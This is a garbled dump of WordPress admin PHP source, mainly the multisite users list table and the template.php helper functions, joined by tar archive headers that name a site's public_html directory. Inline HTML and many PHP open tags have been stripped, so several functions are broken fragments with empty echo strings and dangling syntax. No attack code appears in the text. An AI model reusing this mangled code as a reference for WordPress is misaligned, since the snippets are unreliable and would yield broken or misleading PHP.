column_username( $user ) { $super_admins = get_super_admins(); $avatar = get_avatar( $user->user_email, 32 ); echo $avatar; if ( current_user_can( 'edit_user', $user->ID ) ) { $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) ); $edit = "{$user->user_login}"; } else { $edit = $user->user_login; } ?> user_login, $super_admins, true ) ) { echo ' — ' . __( 'Super Admin' ); } ?> first_name && $user->last_name ) { echo "$user->first_name $user->last_name"; } elseif ( $user->first_name ) { echo $user->first_name; } elseif ( $user->last_name ) { echo $user->last_name; } else { echo '' . _x( 'Unknown', 'name' ) . ''; } } /** * Handles the email column output. * * @since 4.3.0 * * @param WP_User $user The current WP_User object. */ public function column_email( $user ) { echo "$user->user_email"; } /** * Handles the registered date column output. * * @since 4.3.0 * * @global string $mode List table view mode. * * @param WP_User $user The current WP_User object. */ public function column_registered( $user ) { global $mode; if ( 'list' === $mode ) { $date = __( 'Y/m/d' ); } else { $date = __( 'Y/m/d g:i:s a' ); } echo mysql2date( $date, $user->user_registered ); } /** * @since 4.3.0 * * @param WP_User $user * @param string $classes * @param string $data * @param string $primary */ protected function _column_blogs( $user, $classes, $data, $primary ) { echo ''; echo $this->column_blogs( $user ); echo $this->handle_row_actions( $user, 'blogs', $primary ); echo ''; } /** * Handles the sites column output. * * @since 4.3.0 * * @param WP_User $user The current WP_User object. */ public function column_blogs( $user ) { $blogs = get_blogs_of_user( $user->ID, true ); if ( ! is_array( $blogs ) ) { return; } foreach ( $blogs as $site ) { if ( ! can_edit_network( $site->site_id ) ) { continue; } $path = ( '/' === $site->path ) ? '' : $site->path; $site_classes = array( 'site-' . $site->site_id ); /** * Filters the span class for a site listing on the mulisite user list table. * * @since 5.2.0 * * @param string[] $site_classes Array of class names used within the span tag. Default "site-#" with the site's network ID. * @param int $site_id Site ID. * @param int $network_id Network ID. * @param WP_User $user WP_User object. */ $site_classes = apply_filters( 'ms_user_list_site_class', $site_classes, $site->userblog_id, $site->site_id, $user ); if ( is_array( $site_classes ) && ! empty( $site_classes ) ) { $site_classes = array_map( 'sanitize_html_class', array_unique( $site_classes ) ); echo ''; } else { echo ''; } echo '' . str_replace( '.' . get_network()->domain, '', $site->domain . $path ) . ''; echo ' '; $actions = array(); $actions['edit'] = '' . __( 'Edit' ) . ''; $class = ''; if ( 1 === (int) $site->spam ) { $class .= 'site-spammed '; } if ( 1 === (int) $site->mature ) { $class .= 'site-mature '; } if ( 1 === (int) $site->deleted ) { $class .= 'site-deleted '; } if ( 1 === (int) $site->archived ) { $class .= 'site-archived '; } $actions['view'] = '' . __( 'View' ) . ''; /** * Filters the action links displayed next the sites a user belongs to * in the Network Admin Users list table. * * @since 3.1.0 * * @param string[] $actions An array of action links to be displayed. Default 'Edit', 'View'. * @param int $userblog_id The site ID. */ $actions = apply_filters( 'ms_user_list_site_actions', $actions, $site->userblog_id ); $action_count = count( $actions ); $i = 0; foreach ( $actions as $action => $link ) { ++$i; $sep = ( $i < $action_count ) ? ' | ' : ''; echo "$link$sep"; } echo '
'; } } /** * Handles the default column output. * * @since 4.3.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item The current WP_User object. * @param string $column_name The current column name. */ public function column_default( $item, $column_name ) { /** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */ echo apply_filters( 'manage_users_custom_column', '', // Custom column output. Default empty. $column_name, $item->ID // User ID. ); } public function display_rows() { foreach ( $this->items as $user ) { $class = ''; $status_list = array( 'spam' => 'site-spammed', 'deleted' => 'site-deleted', ); foreach ( $status_list as $status => $col ) { if ( $user->$status ) { $class .= " $col"; } } ?> single_row_columns( $user ); ?> ID ) ) { $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) ); $actions['edit'] = '' . __( 'Edit' ) . ''; } if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins, true ) ) { $actions['delete'] = '' . __( 'Delete' ) . ''; } /** * Filters the action links displayed under each user in the Network Admin Users list table. * * @since 3.2.0 * * @param string[] $actions An array of action links to be displayed. Default 'Edit', 'Delete'. * @param WP_User $user WP_User object. */ $actions = apply_filters( 'ms_user_row_actions', $actions, $user ); return $this->row_actions( $actions ); } } template.php.tar000064400000274000152377531730007675 0ustar00home/quizenacom/public_html/wp-admin/includes/template.php000064400000270356152377460750020054 0ustar00 'category', 'descendants_and_self' => $descendants_and_self, 'selected_cats' => $selected_cats, 'popular_cats' => $popular_cats, 'walker' => $walker, 'checked_ontop' => $checked_ontop, ) ); } /** * Outputs an unordered list of checkbox input elements labelled with term names. * * Taxonomy-independent version of wp_category_checklist(). * * @since 3.0.0 * @since 4.4.0 Introduced the `$echo` argument. * * @param int $post_id Optional. Post ID. Default 0. * @param array|string $args { * Optional. Array or string of arguments for generating a terms checklist. Default empty array. * * @type int $descendants_and_self ID of the category to output along with its descendants. * Default 0. * @type int[] $selected_cats Array of category IDs to mark as checked. Default false. * @type int[] $popular_cats Array of category IDs to receive the "popular-category" class. * Default false. * @type Walker $walker Walker object to use to build the output. Default empty which * results in a Walker_Category_Checklist instance being used. * @type string $taxonomy Taxonomy to generate the checklist for. Default 'category'. * @type bool $checked_ontop Whether to move checked items out of the hierarchy and to * the top of the list. Default true. * @type bool $echo Whether to echo the generated markup. False to return the markup instead * of echoing it. Default true. * } * @return string HTML list of input elements. */ function wp_terms_checklist( $post_id = 0, $args = array() ) { $defaults = array( 'descendants_and_self' => 0, 'selected_cats' => false, 'popular_cats' => false, 'walker' => null, 'taxonomy' => 'category', 'checked_ontop' => true, 'echo' => true, ); /** * Filters the taxonomy terms checklist arguments. * * @since 3.4.0 * * @see wp_terms_checklist() * * @param array|string $args An array or string of arguments. * @param int $post_id The post ID. */ $params = apply_filters( 'wp_terms_checklist_args', $args, $post_id ); $parsed_args = wp_parse_args( $params, $defaults ); if ( empty( $parsed_args['walker'] ) || ! ( $parsed_args['walker'] instanceof Walker ) ) { $walker = new Walker_Category_Checklist; } else { $walker = $parsed_args['walker']; } $taxonomy = $parsed_args['taxonomy']; $descendants_and_self = (int) $parsed_args['descendants_and_self']; $args = array( 'taxonomy' => $taxonomy ); $tax = get_taxonomy( $taxonomy ); $args['disabled'] = ! current_user_can( $tax->cap->assign_terms ); $args['list_only'] = ! empty( $parsed_args['list_only'] ); if ( is_array( $parsed_args['selected_cats'] ) ) { $args['selected_cats'] = array_map( 'intval', $parsed_args['selected_cats'] ); } elseif ( $post_id ) { $args['selected_cats'] = wp_get_object_terms( $post_id, $taxonomy, array_merge( $args, array( 'fields' => 'ids' ) ) ); } else { $args['selected_cats'] = array(); } if ( is_array( $parsed_args['popular_cats'] ) ) { $args['popular_cats'] = array_map( 'intval', $parsed_args['popular_cats'] ); } else { $args['popular_cats'] = get_terms( array( 'taxonomy' => $taxonomy, 'fields' => 'ids', 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false, ) ); } if ( $descendants_and_self ) { $categories = (array) get_terms( array( 'taxonomy' => $taxonomy, 'child_of' => $descendants_and_self, 'hierarchical' => 0, 'hide_empty' => 0, ) ); $self = get_term( $descendants_and_self, $taxonomy ); array_unshift( $categories, $self ); } else { $categories = (array) get_terms( array( 'taxonomy' => $taxonomy, 'get' => 'all', ) ); } $output = ''; if ( $parsed_args['checked_ontop'] ) { // Post-process $categories rather than adding an exclude to the get_terms() query // to keep the query the same across all posts (for any query cache). $checked_categories = array(); $keys = array_keys( $categories ); foreach ( $keys as $k ) { if ( in_array( $categories[ $k ]->term_id, $args['selected_cats'], true ) ) { $checked_categories[] = $categories[ $k ]; unset( $categories[ $k ] ); } } // Put checked categories on top. $output .= $walker->walk( $checked_categories, 0, $args ); } // Then the rest of them. $output .= $walker->walk( $categories, 0, $args ); if ( $parsed_args['echo'] ) { echo $output; } return $output; } /** * Retrieves a list of the most popular terms from the specified taxonomy. * * If the `$display` argument is true then the elements for a list of checkbox * `` elements labelled with the names of the selected terms is output. * If the `$post_ID` global is not empty then the terms associated with that * post will be marked as checked. * * @since 2.5.0 * * @param string $taxonomy Taxonomy to retrieve terms from. * @param int $default_term Optional. Not used. * @param int $number Optional. Number of terms to retrieve. Default 10. * @param bool $display Optional. Whether to display the list as well. Default true. * @return int[] Array of popular term IDs. */ function wp_popular_terms_checklist( $taxonomy, $default_term = 0, $number = 10, $display = true ) { $post = get_post(); if ( $post && $post->ID ) { $checked_terms = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) ); } else { $checked_terms = array(); } $terms = get_terms( array( 'taxonomy' => $taxonomy, 'orderby' => 'count', 'order' => 'DESC', 'number' => $number, 'hierarchical' => false, ) ); $tax = get_taxonomy( $taxonomy ); $popular_ids = array(); foreach ( (array) $terms as $term ) { $popular_ids[] = $term->term_id; if ( ! $display ) { // Hack for Ajax use. continue; } $id = "popular-$taxonomy-$term->term_id"; $checked = in_array( $term->term_id, $checked_terms, true ) ? 'checked="checked"' : ''; ?> 'link_category', 'orderby' => 'name', 'hide_empty' => 0, ) ); if ( empty( $categories ) ) { return; } foreach ( $categories as $category ) { $cat_id = $category->term_id; /** This filter is documented in wp-includes/category-template.php */ $name = esc_html( apply_filters( 'the_category', $category->name, '', '' ) ); $checked = in_array( $cat_id, $checked_categories, true ) ? ' checked="checked"' : ''; echo ''; } } /** * Adds hidden fields with the data for use in the inline editor for posts and pages. * * @since 2.7.0 * * @param WP_Post $post Post object. */ function get_inline_data( $post ) { $post_type_object = get_post_type_object( $post->post_type ); if ( ! current_user_can( 'edit_post', $post->ID ) ) { return; } $title = esc_textarea( trim( $post->post_title ) ); echo ' '; } /** * Outputs the in-line comment reply-to form in the Comments list table. * * @since 2.7.0 * * @global WP_List_Table $wp_list_table * * @param int $position * @param bool $checkbox * @param string $mode * @param bool $table_row */ function wp_comment_reply( $position = 1, $checkbox = false, $mode = 'single', $table_row = true ) { global $wp_list_table; /** * Filters the in-line comment reply-to form output in the Comments * list table. * * Returning a non-empty value here will short-circuit display * of the in-line comment-reply form in the Comments list table, * echoing the returned value instead. * * @since 2.7.0 * * @see wp_comment_reply() * * @param string $content The reply-to form content. * @param array $args An array of default args. */ $content = apply_filters( 'wp_comment_reply', '', array( 'position' => $position, 'checkbox' => $checkbox, 'mode' => $mode, ) ); if ( ! empty( $content ) ) { echo $content; return; } if ( ! $wp_list_table ) { if ( 'single' === $mode ) { $wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' ); } else { $wp_list_table = _get_list_table( 'WP_Comments_List_Table' ); } } ?>
' . _x( 'Name', 'meta name' ) . ' ' . __( 'Value' ) . ' '; // TBODY needed for list-manipulation JS. return; } $count = 0; ?>
. $entry['meta_id'] = (int) $entry['meta_id']; $delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] ); $r .= "\n\t"; $r .= "\n\t\t"; $r .= "\n\t\t
"; $r .= get_submit_button( __( 'Delete' ), 'deletemeta small', "deletemeta[{$entry['meta_id']}]", false, array( 'data-wp-lists' => "delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce" ) ); $r .= "\n\t\t"; $r .= get_submit_button( __( 'Update' ), 'updatemeta small', "meta-{$entry['meta_id']}-submit", false, array( 'data-wp-lists' => "add:the-list:meta-{$entry['meta_id']}::_ajax_nonce-add-meta=$update_nonce" ) ); $r .= '
'; $r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false ); $r .= ''; $r .= "\n\t\t\n\t"; return $r; } /** * Prints the form in the Custom Fields meta box. * * @since 1.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Post $post Optional. The post being edited. */ function meta_form( $post = null ) { global $wpdb; $post = get_post( $post ); /** * Filters values for the meta key dropdown in the Custom Fields meta box. * * Returning a non-null value will effectively short-circuit and avoid a * potentially expensive query against postmeta. * * @since 4.4.0 * * @param array|null $keys Pre-defined meta keys to be used in place of a postmeta query. Default null. * @param WP_Post $post The current post object. */ $keys = apply_filters( 'postmeta_form_keys', null, $post ); if ( null === $keys ) { /** * Filters the number of custom fields to retrieve for the drop-down * in the Custom Fields meta box. * * @since 2.1.0 * * @param int $limit Number of custom fields to retrieve. Default 30. */ $limit = apply_filters( 'postmeta_form_limit', 30 ); $keys = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT meta_key FROM $wpdb->postmeta WHERE meta_key NOT BETWEEN '_' AND '_z' HAVING meta_key NOT LIKE %s ORDER BY meta_key LIMIT %d", $wpdb->esc_like( '_' ) . '%', $limit ) ); } if ( $keys ) { natcasesort( $keys ); $meta_key_input_id = 'metakeyselect'; } else { $meta_key_input_id = 'metakeyinput'; } ?>

'newmeta-submit', 'data-wp-lists' => 'add:the-list:newmeta', ) ); ?>
post_status, array( 'draft', 'pending' ), true ) && ( ! $post->post_date_gmt || '0000-00-00 00:00:00' === $post->post_date_gmt ) ); } $tab_index_attribute = ''; if ( (int) $tab_index > 0 ) { $tab_index_attribute = " tabindex=\"$tab_index\""; } // @todo Remove this? // echo '
'; $post_date = ( $for_post ) ? $post->post_date : get_comment()->comment_date; $jj = ( $edit ) ? mysql2date( 'd', $post_date, false ) : current_time( 'd' ); $mm = ( $edit ) ? mysql2date( 'm', $post_date, false ) : current_time( 'm' ); $aa = ( $edit ) ? mysql2date( 'Y', $post_date, false ) : current_time( 'Y' ); $hh = ( $edit ) ? mysql2date( 'H', $post_date, false ) : current_time( 'H' ); $mn = ( $edit ) ? mysql2date( 'i', $post_date, false ) : current_time( 'i' ); $ss = ( $edit ) ? mysql2date( 's', $post_date, false ) : current_time( 's' ); $cur_jj = current_time( 'd' ); $cur_mm = current_time( 'm' ); $cur_aa = current_time( 'Y' ); $cur_hh = current_time( 'H' ); $cur_mn = current_time( 'i' ); $month = ''; $day = ''; $year = ''; $hour = ''; $minute = ''; echo '
'; /* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */ printf( __( '%1$s %2$s, %3$s at %4$s:%5$s' ), $month, $day, $year, $hour, $minute ); echo '
'; if ( $multi ) { return; } echo "\n\n"; $map = array( 'mm' => array( $mm, $cur_mm ), 'jj' => array( $jj, $cur_jj ), 'aa' => array( $aa, $cur_aa ), 'hh' => array( $hh, $cur_hh ), 'mn' => array( $mn, $cur_mn ), ); foreach ( $map as $timeunit => $value ) { list( $unit, $curr ) = $value; echo '' . "\n"; $cur_timeunit = 'cur_' . $timeunit; echo '' . "\n"; } ?>

" . esc_html( $template ) . ''; } } /** * Prints out option HTML elements for the page parents drop-down. * * @since 1.5.0 * @since 4.4.0 `$post` argument was added. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $default_page Optional. The default page ID to be pre-selected. Default 0. * @param int $parent Optional. The parent page ID. Default 0. * @param int $level Optional. Page depth level. Default 0. * @param int|WP_Post $post Post ID or WP_Post object. * @return void|false Void on success, false if the page has no children. */ function parent_dropdown( $default_page = 0, $parent = 0, $level = 0, $post = null ) { global $wpdb; $post = get_post( $post ); $items = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_parent, post_title FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' ORDER BY menu_order", $parent ) ); if ( $items ) { foreach ( $items as $item ) { // A page cannot be its own parent. if ( $post && $post->ID && (int) $item->ID === $post->ID ) { continue; } $pad = str_repeat( ' ', $level * 3 ); $selected = selected( $default_page, $item->ID, false ); echo "\n\t'; parent_dropdown( $default_page, $item->ID, $level + 1 ); } } else { return false; } } /** * Prints out option HTML elements for role selectors. * * @since 2.1.0 * * @param string $selected Slug for the role that should be already selected. */ function wp_dropdown_roles( $selected = '' ) { $r = ''; $editable_roles = array_reverse( get_editable_roles() ); foreach ( $editable_roles as $role => $details ) { $name = translate_user_role( $details['name'] ); // Preselect specified role. if ( $selected === $role ) { $r .= "\n\t"; } else { $r .= "\n\t"; } } echo $r; } /** * Outputs the form used by the importers to accept the data to be imported * * @since 2.0.0 * * @param string $action The action attribute for the form. */ function wp_import_upload_form( $action ) { /** * Filters the maximum allowed upload size for import files. * * @since 2.3.0 * * @see wp_max_upload_size() * * @param int $max_upload_size Allowed upload size. Default 1 MB. */ $bytes = apply_filters( 'import_upload_size_limit', wp_max_upload_size() ); $size = size_format( $bytes ); $upload_dir = wp_upload_dir(); if ( ! empty( $upload_dir['error'] ) ) : ?>

%s (%s)', __( 'Choose a file from your computer:' ), /* translators: %s: Maximum allowed file size. */ sprintf( __( 'Maximum size: %s' ), $size ) ); ?>

id ) ) { return; } $page = $screen->id; if ( ! isset( $wp_meta_boxes ) ) { $wp_meta_boxes = array(); } if ( ! isset( $wp_meta_boxes[ $page ] ) ) { $wp_meta_boxes[ $page ] = array(); } if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) { $wp_meta_boxes[ $page ][ $context ] = array(); } foreach ( array_keys( $wp_meta_boxes[ $page ] ) as $a_context ) { foreach ( array( 'high', 'core', 'default', 'low' ) as $a_priority ) { if ( ! isset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] ) ) { continue; } // If a core box was previously removed, don't add. if ( ( 'core' === $priority || 'sorted' === $priority ) && false === $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] ) { return; } // If a core box was previously added by a plugin, don't add. if ( 'core' === $priority ) { /* * If the box was added with default priority, give it core priority * to maintain sort order. */ if ( 'default' === $a_priority ) { $wp_meta_boxes[ $page ][ $a_context ]['core'][ $id ] = $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ]; unset( $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ] ); } return; } // If no priority given and ID already present, use existing priority. if ( empty( $priority ) ) { $priority = $a_priority; /* * Else, if we're adding to the sorted priority, we don't know the title * or callback. Grab them from the previously added context/priority. */ } elseif ( 'sorted' === $priority ) { $title = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['title']; $callback = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['callback']; $callback_args = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['args']; } // An ID can be in only one priority and one context. if ( $priority !== $a_priority || $context !== $a_context ) { unset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] ); } } } if ( empty( $priority ) ) { $priority = 'low'; } if ( ! isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) { $wp_meta_boxes[ $page ][ $context ][ $priority ] = array(); } $wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = array( 'id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $callback_args, ); } /** * Renders a "fake" meta box with an information message, * shown on the block editor, when an incompatible meta box is found. * * @since 5.0.0 * * @param mixed $data_object The data object being rendered on this screen. * @param array $box { * Custom formats meta box arguments. * * @type string $id Meta box 'id' attribute. * @type string $title Meta box title. * @type callable $old_callback The original callback for this meta box. * @type array $args Extra meta box arguments. * } */ function do_block_editor_incompatible_meta_box( $data_object, $box ) { $plugin = _get_plugin_from_callback( $box['old_callback'] ); $plugins = get_plugins(); echo '

'; if ( $plugin ) { /* translators: %s: The name of the plugin that generated this meta box. */ printf( __( 'This meta box, from the %s plugin, is not compatible with the block editor.' ), "{$plugin['Name']}" ); } else { _e( 'This meta box is not compatible with the block editor.' ); } echo '

'; if ( empty( $plugins['classic-editor/classic-editor.php'] ) ) { if ( current_user_can( 'install_plugins' ) ) { $install_url = wp_nonce_url( self_admin_url( 'plugin-install.php?tab=favorites&user=wordpressdotorg&save=0' ), 'save_wporg_username_' . get_current_user_id() ); echo '

'; /* translators: %s: A link to install the Classic Editor plugin. */ printf( __( 'Please install the Classic Editor plugin to use this meta box.' ), esc_url( $install_url ) ); echo '

'; } } elseif ( is_plugin_inactive( 'classic-editor/classic-editor.php' ) ) { if ( current_user_can( 'activate_plugins' ) ) { $activate_url = wp_nonce_url( self_admin_url( 'plugins.php?action=activate&plugin=classic-editor/classic-editor.php' ), 'activate-plugin_classic-editor/classic-editor.php' ); echo '

'; /* translators: %s: A link to activate the Classic Editor plugin. */ printf( __( 'Please activate the Classic Editor plugin to use this meta box.' ), esc_url( $activate_url ) ); echo '

'; } } elseif ( $data_object instanceof WP_Post ) { $edit_url = add_query_arg( array( 'classic-editor' => '', 'classic-editor__forget' => '', ), get_edit_post_link( $data_object ) ); echo '

'; /* translators: %s: A link to use the Classic Editor plugin. */ printf( __( 'Please open the classic editor to use this meta box.' ), esc_url( $edit_url ) ); echo '

'; } } /** * Internal helper function to find the plugin from a meta box callback. * * @since 5.0.0 * * @access private * * @param callable $callback The callback function to check. * @return array|null The plugin that the callback belongs to, or null if it doesn't belong to a plugin. */ function _get_plugin_from_callback( $callback ) { try { if ( is_array( $callback ) ) { $reflection = new ReflectionMethod( $callback[0], $callback[1] ); } elseif ( is_string( $callback ) && false !== strpos( $callback, '::' ) ) { $reflection = new ReflectionMethod( $callback ); } else { $reflection = new ReflectionFunction( $callback ); } } catch ( ReflectionException $exception ) { // We could not properly reflect on the callable, so we abort here. return null; } // Don't show an error if it's an internal PHP function. if ( ! $reflection->isInternal() ) { // Only show errors if the meta box was registered by a plugin. $filename = wp_normalize_path( $reflection->getFileName() ); $plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); if ( strpos( $filename, $plugin_dir ) === 0 ) { $filename = str_replace( $plugin_dir, '', $filename ); $filename = preg_replace( '|^/([^/]*/).*$|', '\\1', $filename ); $plugins = get_plugins(); foreach ( $plugins as $name => $plugin ) { if ( strpos( $name, $filename ) === 0 ) { return $plugin; } } } } return null; } /** * Meta-Box template function. * * @since 2.5.0 * * @global array $wp_meta_boxes * * @param string|WP_Screen $screen The screen identifier. If you have used add_menu_page() or * add_submenu_page() to create a new screen (and hence screen_id) * make sure your menu slug conforms to the limits of sanitize_key() * otherwise the 'screen' menu may not correctly render on your page. * @param string $context The screen context for which to display meta boxes. * @param mixed $data_object Gets passed to the meta box callback function as the first parameter. * Often this is the object that's the focus of the current screen, * for example a `WP_Post` or `WP_Comment` object. * @return int Number of meta_boxes. */ function do_meta_boxes( $screen, $context, $data_object ) { global $wp_meta_boxes; static $already_sorted = false; if ( empty( $screen ) ) { $screen = get_current_screen(); } elseif ( is_string( $screen ) ) { $screen = convert_to_screen( $screen ); } $page = $screen->id; $hidden = get_hidden_meta_boxes( $screen ); printf( '
', esc_attr( $context ) ); // Grab the ones the user has manually sorted. // Pull them out of their previous context/priority and into the one the user chose. $sorted = get_user_option( "meta-box-order_$page" ); if ( ! $already_sorted && $sorted ) { foreach ( $sorted as $box_context => $ids ) { foreach ( explode( ',', $ids ) as $id ) { if ( $id && 'dashboard_browser_nag' !== $id ) { add_meta_box( $id, null, null, $screen, $box_context, 'sorted' ); } } } } $already_sorted = true; $i = 0; if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) { foreach ( array( 'high', 'sorted', 'core', 'default', 'low' ) as $priority ) { if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) { foreach ( (array) $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) { if ( false === $box || ! $box['title'] ) { continue; } $block_compatible = true; if ( is_array( $box['args'] ) ) { // If a meta box is just here for back compat, don't show it in the block editor. if ( $screen->is_block_editor() && isset( $box['args']['__back_compat_meta_box'] ) && $box['args']['__back_compat_meta_box'] ) { continue; } if ( isset( $box['args']['__block_editor_compatible_meta_box'] ) ) { $block_compatible = (bool) $box['args']['__block_editor_compatible_meta_box']; unset( $box['args']['__block_editor_compatible_meta_box'] ); } // If the meta box is declared as incompatible with the block editor, override the callback function. if ( ! $block_compatible && $screen->is_block_editor() ) { $box['old_callback'] = $box['callback']; $box['callback'] = 'do_block_editor_incompatible_meta_box'; } if ( isset( $box['args']['__back_compat_meta_box'] ) ) { $block_compatible = $block_compatible || (bool) $box['args']['__back_compat_meta_box']; unset( $box['args']['__back_compat_meta_box'] ); } } $i++; // get_hidden_meta_boxes() doesn't apply in the block editor. $hidden_class = ( ! $screen->is_block_editor() && in_array( $box['id'], $hidden, true ) ) ? ' hide-if-js' : ''; echo '
' . "\n"; echo '
'; echo '

'; if ( 'dashboard_php_nag' === $box['id'] ) { echo ''; echo '' . __( 'Warning:' ) . ' '; } echo $box['title']; echo "

\n"; if ( 'dashboard_browser_nag' !== $box['id'] ) { $widget_title = $box['title']; if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) { $widget_title = $box['args']['__widget_basename']; // Do not pass this parameter to the user callback function. unset( $box['args']['__widget_basename'] ); } echo '
'; echo ''; echo ''; echo ''; echo ''; echo ''; echo '
'; } echo '
'; echo '
' . "\n"; if ( WP_DEBUG && ! $block_compatible && 'edit' === $screen->parent_base && ! $screen->is_block_editor() && ! isset( $_GET['meta-box-loader'] ) ) { $plugin = _get_plugin_from_callback( $box['callback'] ); if ( $plugin ) { ?>

{$plugin['Name']}" ); ?>

\n"; echo "
\n"; } } } } echo '
'; return $i; } /** * Removes a meta box from one or more screens. * * @since 2.6.0 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs. * * @global array $wp_meta_boxes * * @param string $id Meta box ID (used in the 'id' attribute for the meta box). * @param string|array|WP_Screen $screen The screen or screens on which the meta box is shown (such as a * post type, 'link', or 'comment'). Accepts a single screen ID, * WP_Screen object, or array of screen IDs. * @param string $context The context within the screen where the box is set to display. * Contexts vary from screen to screen. Post edit screen contexts * include 'normal', 'side', and 'advanced'. Comments screen contexts * include 'normal' and 'side'. Menus meta boxes (accordion sections) * all use the 'side' context. */ function remove_meta_box( $id, $screen, $context ) { global $wp_meta_boxes; if ( empty( $screen ) ) { $screen = get_current_screen(); } elseif ( is_string( $screen ) ) { $screen = convert_to_screen( $screen ); } elseif ( is_array( $screen ) ) { foreach ( $screen as $single_screen ) { remove_meta_box( $id, $single_screen, $context ); } } if ( ! isset( $screen->id ) ) { return; } $page = $screen->id; if ( ! isset( $wp_meta_boxes ) ) { $wp_meta_boxes = array(); } if ( ! isset( $wp_meta_boxes[ $page ] ) ) { $wp_meta_boxes[ $page ] = array(); } if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) { $wp_meta_boxes[ $page ][ $context ] = array(); } foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) { $wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = false; } } /** * Meta Box Accordion Template Function. * * Largely made up of abstracted code from do_meta_boxes(), this * function serves to build meta boxes as list items for display as * a collapsible accordion. * * @since 3.6.0 * * @uses global $wp_meta_boxes Used to retrieve registered meta boxes. * * @param string|object $screen The screen identifier. * @param string $context The screen context for which to display accordion sections. * @param mixed $data_object Gets passed to the section callback function as the first parameter. * @return int Number of meta boxes as accordion sections. */ function do_accordion_sections( $screen, $context, $data_object ) { global $wp_meta_boxes; wp_enqueue_script( 'accordion' ); if ( empty( $screen ) ) { $screen = get_current_screen(); } elseif ( is_string( $screen ) ) { $screen = convert_to_screen( $screen ); } $page = $screen->id; $hidden = get_hidden_meta_boxes( $screen ); ?>
$id, 'title' => $title, 'callback' => $callback, ); } /** * Adds a new field to a section of a settings page. * * Part of the Settings API. Use this to define a settings field that will show * as part of a settings section inside a settings page. The fields are shown using * do_settings_fields() in do_settings_sections(). * * The $callback argument should be the name of a function that echoes out the * HTML input tags for this setting field. Use get_option() to retrieve existing * values to show. * * @since 2.7.0 * @since 4.2.0 The `$class` argument was added. * * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections. * * @param string $id Slug-name to identify the field. Used in the 'id' attribute of tags. * @param string $title Formatted title of the field. Shown as the label for the field * during output. * @param callable $callback Function that fills the field with the desired form inputs. The * function should echo its output. * @param string $page The slug-name of the settings page on which to show the section * (general, reading, writing, ...). * @param string $section Optional. The slug-name of the section of the settings page * in which to show the box. Default 'default'. * @param array $args { * Optional. Extra arguments used when outputting the field. * * @type string $label_for When supplied, the setting title will be wrapped * in a `
'; } $is_www = ( 0 === strpos( $hostname, 'www.' ) ); if ( $is_www ) : ?>

' . substr( $hostname, 4 ) . '', '' . $hostname . '', 'www' ); ?>

' . $errors->get_error_message() . ''; } if ( $_POST ) { if ( allow_subdomain_install() ) { $subdomain_install = allow_subdirectory_install() ? ! empty( $_POST['subdomain_install'] ) : true; } else { $subdomain_install = false; } } else { if ( is_multisite() ) { $subdomain_install = is_subdomain_install(); ?>

get_var( "SELECT meta_value FROM $wpdb->sitemeta WHERE site_id = 1 AND meta_key = 'subdomain_install'" ); ?>

' . __( 'Caution:' ) . ' '; printf( /* translators: 1: wp-config.php, 2: .htaccess */ __( 'You should back up your existing %1$s and %2$s files.' ), 'wp-config.php', '.htaccess' ); } elseif ( file_exists( $home_path . 'web.config' ) ) { echo '' . __( 'Caution:' ) . ' '; printf( /* translators: 1: wp-config.php, 2: web.config */ __( 'You should back up your existing %1$s and %2$s files.' ), 'wp-config.php', 'web.config' ); } else { echo '' . __( 'Caution:' ) . ' '; printf( /* translators: %s: wp-config.php */ __( 'You should back up your existing %s file.' ), 'wp-config.php' ); } ?>

  1. above the line reading %3$s:' ), 'wp-config.php', '' . $location_of_wp_config . '', /* * translators: This string should only be translated if wp-config-sample.php is localized. * You can check the localized release package or * https://i18n.svn.wordpress.org//branches//dist/wp-config-sample.php */ '/* ' . __( 'That’s all, stop editing! Happy publishing.' ) . ' */' ); ?>

